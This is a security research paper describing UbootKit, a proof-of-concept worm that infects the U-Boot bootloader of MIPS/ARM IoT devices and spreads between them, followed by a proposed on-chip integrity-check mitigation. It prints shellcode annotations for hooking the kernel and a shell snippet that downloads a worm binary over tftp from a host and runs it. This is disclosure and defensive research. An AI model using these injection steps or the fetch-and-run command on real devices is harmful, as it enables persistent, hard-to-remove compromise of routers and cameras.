UbootKit: A Worm Attack for the Bootloader of IoT Devices

Authors

{Jingyu YANG (jingleyang@tencent.com), Chen GENG, Bin WANG, Zhao LIU, Chendong LI, Jiahua GAO, Guize LIU, Jinsong MA}(Tencent)

{Weikun YANG (weikuny@princeton.edu)}(Princeton University)

Abstract

The security of the IoT has never been so important, especially when millions of devices become parts of everyday life. Most of the IoT devices, however, are vulnerable to cyberattacks as the hardware resources are limited or the security design is missing during the development. Tencent Anti-Virus Laboratory demonstrates a new worm prototype dubbed UbootKit, which targets at the bootloader of IoT devices, to indicate how a worm can propagate between variable devices and why it is difficult to be eliminated.

UbootKit attack is a kind of manipulation attack against the bootloader, causing infected devices to be remotely controlled and spreading malware to other devices. UbootKit is extremely difficult to be removed, even by physically pressing the reset button, and is able to attack various kinds of IoT devices with Linux system.

A demonstration will be introduced to explain how UbootKit is able to propagate between ARM and MIPS based devices. First, the worm rewrites the bootloader to parasite on the host. Second, the modified bootloader hijacks the starting procedure of the Linux kernel in memory. The malicious code in the kernel will download a worm program and execute it with the root privilege. Finally, the downloaded worm program attacks other devices through password scanning or remote execution exploits. The experiment affirms that UbootKit is able to infect real IoT products, such as routers and webcams. Just to clarify, all experiments were restricted in the laboratory environment, and no harmful payload has ever been applied.

The reason why UbootKit attack can be launched is that the integrity verification for bootloader is missing for most IoT devices. At the end of the paper, a mitigation solution, which is adding an integrity verification procedure at the on-chip code, is explained to address the vulnerability.

Key Words: IoT, bootloader, worm attack

1. Introduction

IoT devices make our life comfortable and convenience, but security issues may lead to privacy disclosed, and more serious impact about wealth and health. Recently, numerous vulnerabilities have been discovered and many security prevention mechanisms failed to stop attacks from the Internet, due to the hardware resources are limited or security design is missing during the development life cycle.

The paper demonstrates a worm attack named UbootKit, which targets the bootloader of IoT devices. The worm can propagate between different devices and control them with full permissions. It is difficult to be removed even by physically pressing the reset button.

The worm will rewrite bootloader, then the malicious code existed in the bootloader will be executed after rebooting. The malicious code will hijack Linux starting process in the memory, and then the worm body will be downloaded and executed with root privilege. Finally, the downloaded program will attack other devices by password scanning or remote code execution exploits.

1.1 Suitability Analysis

UbootKit is able to infect variable types of IoT devices, including ARM and MIPS architectures. The target victim devices use Uboot[1] as bootloader and Linux as operating system. In the experiment, a prototype worm has successfully infected Uboot V4.1.2.0 and Linux kernel V2.6.21 running on a MIPS CPU (RT5350[2]). The CPU is manufactured by Ralink and is widely used on SOHO routers, such as DLink and Belkin[17]. However, UbootKit is not limited to particular version and the concept of the attack is also suitable for another bootloader.

1.2 Impact Estimation

The impact of UbootKit is significant, because the bootloader layer is the closest layer to the hardware among all software layers, such as the Linux kernel and the file system. In this case, the malicious code in bootloader obtains more powerful abilities than other programs in higher layers.

The device will be fully controlled by the attacker once it is infected by UbootKit. The single infected device brings threats to privacy and confidentiality among webcams or routers. And millions of infected devices are able to join a botnet to launch DDoS attacks like Mirai[3] and Bitcoin mining attacks.

1.3 Elimination Difficulty

UbootKit is difficult to be cleaned, because once it persists in the bootloader, the worm will be executed before Linux kernel or any user space program, which is a huge advantage for UbootKit in the battle against the mitigation program.

In order to remove the malware, the antivirus program needs to be executed before the worm or higher privilege than the worm. However, the bootloader is the first component to be executed than any other component in the rom flash and the bootloader gains the highest privilege during execution. Fortunately, a mitigation method, which is adding an integrity verification procedure at the on-chip code, will be introduced in order to detect and response UbootKit.

The paper will introduce the starting process of the IoT device, then attack vectors analysis for all layers will be discussed, followed by the reason why related prevention methods fail to defense UbootKit. In the following chapter, the implementation of UbootKit are explained. In the chapter 4, an integrity verification method at the on-chip code will be proposed to mitigate the attack. Finally, since the name UbootKit is from concepts of rootkit and bootkit. Related work about bootloader and IoT attacks will be followed.

2. Background Information

In this chapter, a standard starting process of an IoT device will be introduced. The CPU of the example device is AM335x[4], an ARM Cortex-A8 CPU, which is widely used for IoT devices. Then attack vectors that UbootKit has used will be analyzed. Finally, why UbootKit is able to bypass related security prevention methods will be explained.

2.1 starting Process

A. On-Chip Code

A small piece of rom code in the CPU, which is usually less than 20KB, will be executed firstly when the device is powered on. The main function of the onchip code is to decide boot mode from the SYSBOOT configuration pins.

B. Uboot

The CPU will execute the bootloader from bootable devices, such as UART, SPI flash[14], NAND flash or SD card based on the boot mode. The beginning of the Uboot code is hardware specificity. Then a function named relocate_code() will copy reset of the Uboot code into the end of memory and continue to work.

Two advantages are provided by the function relocatecode(). One is unifying the execution environment. No mater SPI flash or NAND flash, the Uboot code will be executed from the memory after relocatedcode() finished. The other is to make a large continuous space for the Linux kernel.

In the end, Uboot responds to decompress the Linux kernel, and then will prepare the parameters for the Linux kernel. Finally, Uboot will transfer the control to Linux kernel. The paper will focus on Uboot And Linux kernel, since they are major in the IoT devices[13], though a few IoT devices may supports other operating system such as VxWorks, Net BSD or RTOS.

C. Linux Kernel

The Linux kernel will initialize hardware at first, then will execute the function start*kernel(), following with rest*init() to create kernel thread. The kernel thread will execute the function init(). At the end of the init(), init*post() will be called, and in the function, the kernel will start the first user space process by calling run*init_process('/etc/init'). The execution flow will jump to the user space from the kernel space after that.

D. File System

When the first user space process `/etc/init` is launched, it will parse `/etc/inittab` file. The `inittab` file is a configuration file that decides which shell script file will be parsed and executed during system starts and stops. For example, when the Linux starts, the script file `/etc/init.d/rcS` will be executed. The actions on the script file usually are about network services.

These four stages are about a typical ARM based IoT device starting process. It is also adapted for MIPS based devices except the machine instructions are different.

2.2 Attack vectors Analysis

In this section, attack vectors used by UbootKit are analyzed.

A. Writeable Flash

In the IoT devices, the rom flash can be updated by the process with root privilege. The design is mainly used for firmware updating, and the firmware contains the Linux kernel and file system. However, the bootloader exists at the beginning of the rom flash following with the Linux kernel and file system. It is possible to rewrite the bootloader by the mtd_write tool[5].

B. Injection for Uboot

A piece of malicious code can be injected by modifying the bootloader. The best opportunity exists after the Uboot decompresses the Linux kernel in the memory and before the Uboot transfers the control to the kernel. The malicious code will modify the Linux kernel in the next step when the IoT device is powered on.

C. Inline hook for Kernel

Based on the previous section, the manipulated Uboot is able to modify a piece of instructions in the Linux kernel. According to the execution orders for the Linux kernel starting process, the init_post() function is the best place to be inline hooked for the following malicious actions. The malicious code in Linux kernel will append several lines of shell scripts to the auto-run script file `/etc/init.d/rcS`, and these shell scripts will be parsed and executed later.

D. Auto-run Shell Script

The file `/etc/init.d/rcS` is an auto-run shell script file. No mater ARM or MIPS based devices, the same scripts are able to be executed, since the shell script supports cross platform. The malicious shell scripts will firstly detect which kind of CPU that the victim IoT device is using by reading the file `/proc/cpuinfo`, and then will download the corresponding binary ELF file to launch.

2.3 Bypass Security Methods

A. Reset Button

Reset button is a method for rolling back the device to original factory mode. The main purpose is to reset the device in case it is missing configured. When the reset button is pressed for a few seconds, the corresponding hardware interruption handler will be called, then the partition that stores configuration information in the file system will be formatted. However, normal handler will not touch the bootloader area, consequentially, UbootKit cannot be cleaned in this way.

B. Uboot verification

Basically, Uboot supports CRC checksum verification for kernel image. Some advanced Uboot even supports RSA signature verification[16]. However, UbootKit attacks directly to the bootloader, not to the kernel images. For example, UbootKit could patch the verification function to return True constantly. Also, the malicious code in bootloader will only modify the kernel in memory after the verification procedure instead of the content in the rom flash.

C. Write Protection

The Linux system provides access protection for the rom flash. When a process is writing MTD devices by accessing the file `/dev/mtd[N]`, if the file is not marked as `MTD_BIT_WRITEABLE`, the write action will fail. However, the tool flash_unlock[6] will unlock the device by calling ioctl().

The flash chip also provides write protection instruction[15]. However, unlock instruction is also implemented and free to be called. These write protection methods only prevent unintentional writing instead of intentional attacks.

3. Implementation

The workflow of UbootKit comprises three main stages: intrusion, infection and propagation.

3.1 Intrusion

The object of the Intrusion stage is to obtain the root privilege in the targeting device. The worm will use multiple methods such as password scanning or remote code execution exploits to achieve the goal.

The intrusion component will be executed not only when the first time that attacker releases the worm, but also when the worm itself to attack other devices during the propagation stage.

3.2 Infection

At the beginning, UbootKit will detect where the IoT device has been infected by searching the infection flag among Uboot partition of the rom flash. If the flag is missing, which means that the IoT device has never been infected, the worm will set the flag and then inject malicious code to the bootloader, otherwise, the worm will propagate itself to other IoT devices.

During the infection procedure, UbootKit only rewrite the content of the bootloader to inject the malicious shellcode. The malicious shellcode will be executed after Uboot decompresses the kernel into the memory but before Uboot transfers the control to the kernel.

The following assembly code shows how UbootKit modifies instructions that originally points to the function printf() in order to change the execution flow to the malicious shellcode.

```
Uboot:81FC77DC[E8 03] 99 8F la  $t9, printf # --> [18 D0] 99 8F
# t9 will point to shellcode
... ...
Uboot:81FC77F0 09 F8 20 03  jalr $t9 ; printf
# will jump to shellcode since $t9=0x81FC84F8
Uboot:81FC77F4 0C 6A 84 24  addiu   $a0,    (aStartingKernel)
# "\nStarting kernel ...\n\n"
```

When Uboot execution flow is redirected to the malicious shellcode. In order to control the host device entirely, the malicious shellcode will divied into four steps.

A. Inline Hook init_post() in kernel

In order to modify the file system, UbootKit plans to inject a kernel patch into the memory. As mentioned in the attack vectors analysis section, init_post() is the best place to be inline hooked.

A few instructions at the beginning of the init_post() will be modified as jump instructions to the next kernel patch code.

```
uboot:81FC8500 01 80 0D 3C  lui$t5, 0x8001
uboot:81FC8504 58 84 AD 25  addiu  $t5, -0x7ba8 #$t5=0x80008458 pointer to init_po
st()+0x10
uboot:81FC8508 00 0C 0E 3C  lui$t6, 0x0C00
uboot:81FC850C 53 46 CE 25  addiu  $t6, 0x4653  #$t6=0c004653 jal to_tm()
uboot:81FC8510 00 00 AE AD  sw $t6, 0($t5) # to modify the memory
```

B. Inject Kernel Patch

The kernel patch will be placed in a function named `to_tm()` , since it is never called during start process. The kernel patch will apply file IO system calls to append lines of shell scripts to the end of the auto-run file `/etc/init.d/rcS` . Regarding the particular Linux system that RT5350 used, the name of the auto-run file is `/etc_ro/rcS` .

```
uboot:81FC8520 01 80 0D 3C  li $t5, 0x8001194C
# $t5=0x8001194C pointer to to_tm()
uboot:81FC8528 05 3C 0E 3C  li $t6, 0x3C048033
uboot:81FC8530 00 00 AE AD  sw $t6, 0($t5)
uboot:81FC8534 BE 27 0E 3C  li $t6, 0x27BDFFE8 #addiu  $sp, -0x18
uboot:81FC853C 04 00 AE AD  sw $t6, 4($t5)
... ...
uboot:81FC8570 02 0C 0E 3C  li $t6, 0x0C01E5A8
# int rcS_fd = sys_open('/etc_ro/rcS',O_RDWR|O_APPEND,0);
uboot:81FC8578 18 00 AE AD  sw $t6, 18($t5)
... ...
uboot:81FC85B8 02 0C 0E 3C  li $t6, 0x0C01E8C7 # sys_write(rcS_fd,command,92);
uboot:81FC85C0 30 00 AE AD  sw $t6, 0x30($t5)
... ...
uboot:81FC85D0 02 0C 0E 3C  li $t6, 0x0C01E5D7 # sys_close(fcS_fd);
uboot:81FC85D8 E0 03 0E 3C  sw $t6, 0x38($t5)
```

C. Copy Parameters

Parameters, such as file name and content, which are used in IO syscall in the previous step will be constructed in the kernel memory.

The following instructions will copy the two strings from the Uboot space to the kernel memory.

```
uboot:81FC863C 33 80 0D 3C  li $t5, 0x80330B7c
uboot:81FC8644 74 63 0E 3C  li $t6, 0x6374652F #/etc
uboot:81FC864C 00 00 AE AD  sw $t6, 0($t5)
uboot:81FC8650 6F 2F 0E 3C  li $t6, 0x2F6F725F #_ro/
uboot:81FC8658 04 00 AE AD  sw $t6, 4($t5)
uboot:81FC865C 53 00 0E 3C  li $t6, 0x00536372 #rcS
uboot:81FC8664 08 00 AE AD  sw $t6, 8($t5)
uboot:81FC8668 33 80 09 3C  li $t1, 0x80333434 #dst
uboot:81FC8670 FD 81 0A 3C  li $t2, 0x81FC86AC #src='echo -e...internet.sh'
uboot:81FC8678 21 58 00 00  move   $t3, $zero
uboot:81FC867C
uboot:81FC867C loc_81FC867C:
uboot:81FC867C 21 60 4B 01  addu $t4, $t2, $t3
uboot:81FC8680 00 00 8F 91  lbu  $t7, 0($t4)
uboot:81FC8684 21 68 2B 01  addu $t5, $t1, $t3

uboot:81FC8688 01 00 6B 25  addiu   $t3, 1
uboot:81FC868C 5D 00 6C 29  slti $t4, $t3, 0x5D
uboot:81FC8690 FA FF 80 15  bnez $t4, loc_81FC867C
uboot:81FC8694 00 00 AF A1  sb   $t7, 0($t5)
```

The content appended to the end of the auto-run file is followed. A technical problem is that when `/etc_ro/rcS` works, the network interface has not been configured yet. As a result, a download command is not suitable to be appended directly to the end of the auto-run script file `/etc_ro/rcS`. In this case, the following shell scripts will append the download command to the file `/sbin/internet.sh`, which is a network configuration shell script file.

```
echo -e 'cd /tmp
tftp -g -r worm 10.10.10.3
chmod 777 worm
/tmp/worm
' >> /sbin/internet.sh
```

When Linux starts, a malicious ELF file will be downloaded. The worm will attack other devices in the propagation stage.

D. Return to the Original Path

After a serial of precise modification, UbootKit needs return to the original path. The following assembly code shows how UbootKit returns to the original path.

```
uboot:81FC8698 E8 03 99 8F  lw   $t9, 0x3E8($gp)
uboot:81FC869C 09 F8 20 03  jalr $t9 #printf('\nStarting kernel ...\n\n')
uboot:81FC86A0 00 00 00 00  nop
uboot:81FC86A4 08 00 E0 03  jr   $ra #return
uboot:802146A8 21 F8 18 00  move $ra, $t8
```

3.3 Propagation

After infection stage, UbootKit has controlled and infected the host device. Firstly, It will enumerate IP addresses in both LAN and WAN then use fingerprint to detect ideal IoT devices via telnet or ssh. Secondly, If UbootKit gains the root privilege of the victim device, it will download the worm file from the C&C server. Not only the password scanning, the worm will apply multiple intrusion technologies which have been described in the intrusion stage. Finally the new infected device will repeat the above stages to attack as much as IoT devices it can.

3.4 Demonstration

In order to demonstrate the impact of UbootKit, a prototype of UbootKit has been developed and tested in the laboratory environment. In a local network (e.g. 10.10.10.0/24), some real IoT devices (10.10.10.252-254), such as webcams and SOHO routers, have been infected. And the worm is able to propagate from one device to another. Though experiment uses three MIPS based devices, ARM based devices can also be infected by ARM version of UbootKit with minor modification and adjustment.

The following figure shows how UbootKit propagates by telnet and tftp protocol.

```
Frame 507: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits)
Ethernet II, Src: RalinkTe_30:50:77 (00:0c:43:30:50:77), Dst: RalinkTe_30:50:68 (0
0:0c:43:30:50:68)
Internet Protocol Version 4, Src: 10.10.10.253, Dst: 10.10.10.254
Transmission Control Protocol, Src Port: 4422, Dst Port: 23, Seq: 39, Ack: 177, Le
n: 86
Telnet
Data: ifcon
```

4. Mitigation

As the prototype demonstrates, known security prevention mechanisms fail to stop the attack from UbootKit. In order to mitigate UbootKit, a proposal about how to detect and respond the attack is explained in the chapter.

The new security method should be implemented at the onchip code before the infected bootloader is executed. When the IoT device is powered on, the onchip code will firstly calculate the hash value of the bootloader. The hash algorithm could be picked from CRC32, SHA1 or SHA256, but SHA256 is recommended, since it has not been cracked ever. At the first time, the hash value is stored in the rom flash inside the CPU. And next time, the stored value will be compared with the calculated value. If they are equal, which means that the integrity of the bootloader has not been broken, the boot procedure will be continued. Otherwise, the content of the bootloader has been altered, the IoT device should respond to the situation, usually halts to avoid the propagation of the worm attack.

The advantages of the mitigation method are followed: firstly, the method is easy to be implemented among all kinds of CPU. A hash algorithm and a few bytes space for hash value is acceptable for resources restricted CPU. Secondly, Compared with a complex public key cryptography based signature verification solution[8], a simple solution is more likely to be accepted by most IoT vendors. Last but not least, the content bootloader is designed to be immutable, the proposed method apply the smallest modification to achieve security on integrity, though losing the function to update the bootloader.

5. Related Work

Not only IoT devices are vulnerable to the bootloader attack, but also PC and Mac. In this chapter, related bootloader and IoT attacks are discussed.

5.1 CIH

CIH virus first emerged in 1998. It was the first virus that attacked certain types of BIOS[9]. The virus wrote junk data into BIOS through the out instruction. As a result, infected PC will not be able to boot. In order to mitigate the BIOS attack on PC, software and hardware mitigation solution have been proposed. For example, Windows introduced many security mechanisms to stop directly execute the out instruction in the Win32 process.

5.2 UEFI rootkit

Hacking Team was exposed to have developed a UEFI based rootkit[10]. The rootkit is able to infect UEFI firmware which is the next generation BIOS. However, the attacker need physical access such as a USB stick to launch the attack[11].

5.3 IoT Brickerbot

The brickerbot attack was aiming to destroy IoT devices by overwriting the bootloader with junk data[12]. Compared with UbootKit, brickerbot is a kind of deny of service attack and the infected IoT devices will no longer be able to work.

5.4 Mirai

Mirai was the first worldwide IoT malware that infected IoT devices by password scanning and launched largescale DDoS attacks to high profile targets[3]. However, Mirai can be cleaned by updating firmware or pressing the reset button, but UbootKit will not.

UbootKit is an evolution attack comparing with previous attacks. Ubootkit is able to propagate without physical access, and the infected IoT devices still work normally but have been controlled by the attackers. UbootKit is difficult to be cleaned even by pressing the reset button.

6. Future Work

The battle of antivirus will never stop. After UbootKit prototype have been developed, many challenges are still waiting to be captured. Regarding the offence aspect, more self protection technology, such as how to stop reflash bootloader and how to hide the malicious code in bootloader without being detected, could be developed.

Oppositely, regarding the defence aspect, we will continue to promote the onchip integrity verification solution to the IC industry. Although, UbootKit is extremely difficult to be cleaned, other methods are still able to help. For example, never use weak and default password in IoT devices could prevent most intrusion attack. And security firewall and IPS could stop most known remote code execution exploits attack. Also, monitoring the file system is able to detect the access to bootloader. All these work will provide a securer IoT environment.

7. Conclusion

A long history for bootloader attack exists in the battle field of the antivirus area. However, UbootKit is the first complete worm attack targeting the bootloader of IoT devices. The attack possesses wild adaption, huge impact and it is difficult to be eliminated. The paper introduced the attack vectors that UbootKit used and the implementation of the prototype. An demonstration indicates that UbootKit is able to infect variable kinds of IoT devices. In the end, a mitigation solution is proposed to counter UbootKit.

References

1. "Uboot," [Online]. Available: http://www.denx.de/wiki/U-Boot/. [Accessed 17 10 2017].
2. Ralink, "RT5350 Datasheet," [Online]. Available: https://cdn.sparkfun.com/datasheets/Wireless/WiFi/RT5350.pdf. [Accessed 07 10 2017]
3. Antonakakis M, April T, Bailey M, et al. Understanding the Mirai Botnet[J]. 2017.
4. Texas Instruments Incorporated, "AM335x Processors," [Online]. Available: https://www.ti.com/processors/sitara/arm-cortex-a8/am335x/overview.html. [Accessed 07 10 2017].
5. jjoepaulines, "mtd*write," [Online]. Available: https://github.com/jjoepaulines/mtd*write. [Accessed 17 10 2017].
6. vamanea, "flash*unlock" [Online]. Available: https://github.com/vamanea/mtd-*

*utils/blob/master/flash*unlock.c. [Accessed 17 10 2017].

7. samsung, "S3C2440," [Online]. Available: https://www.samsung.com/semiconductor/products/exynos-solution/application-processor/S3C2440. [Accessed 07 10 2017].
8. J. Teki, "U-Boot: Verified RSA Boot on ARM target," 2013. [Online]. Available: http://www.denx.de/wiki/pub/U-Boot/MiniSummitELCE2013/U-Boot*verified*RSA*boot*flow*on*arm_target.pdf.
9. wikipedia, "CIH (computer virus)," [Online]. Available: https://en.wikipedia.org/wiki/CIH*(computer*virus). [Accessed 07 10 2017].
10. Alex Matrosov, Eugene Rodionov, "UEFI Firmware Rootkits:Myths and Reality" [Online]. Available: https://www.blackhat.com/docs/asia-17/materials/asia-17-Matrosov-The-UEFI-Firmware-Rootkits-Myths-And-Reality.pdf. [Accessed 07 10 2017].
11. P. Lin, "Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems," Trendmicro, [Online]. Available: http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/. [Accessed 07 10 2017].
12. C. Cimpanu, "New Malware Intentionally Bricks IoT Devices," [Online]. Available: https://www.bleepingcomputer.com/news/security/new-malware-intentionally-bricks-iot-devices/. [Accessed 07 10 2017].
13. E. Brown, "Report: Linux takes leading role in IoT-obsessed market," [Online]. Available: http://linuxgizmos.com/linux-takes-leading-role-in-iot-obsessed-market/. [Accessed 7 10 2017].
14. Wikipedia, "Serial Peripheral Interface Bus," [Online]. Available: https://en.wikipedia.org/wiki/Serial*Peripheral*Interface_Bus. [Accessed 07 10 2017].
15. Micron, "Micron Parallel NOR Flash Embedded Memory".
16. Texas Instruments, "Basic Secure Boot for OMAP-L138 C6748," [Online]. Available: http://processors.wiki.ti.com/index.php/Basic*Secure*Boot*for*OMAP-L138_C6748. [Accessed 07 10 2017].
17. Wikidevi, “Ralink RT5350,”[Online]. Available: https://wikidevi.com/wiki/Ralink_RT5350.[Accessed 07 10 2017].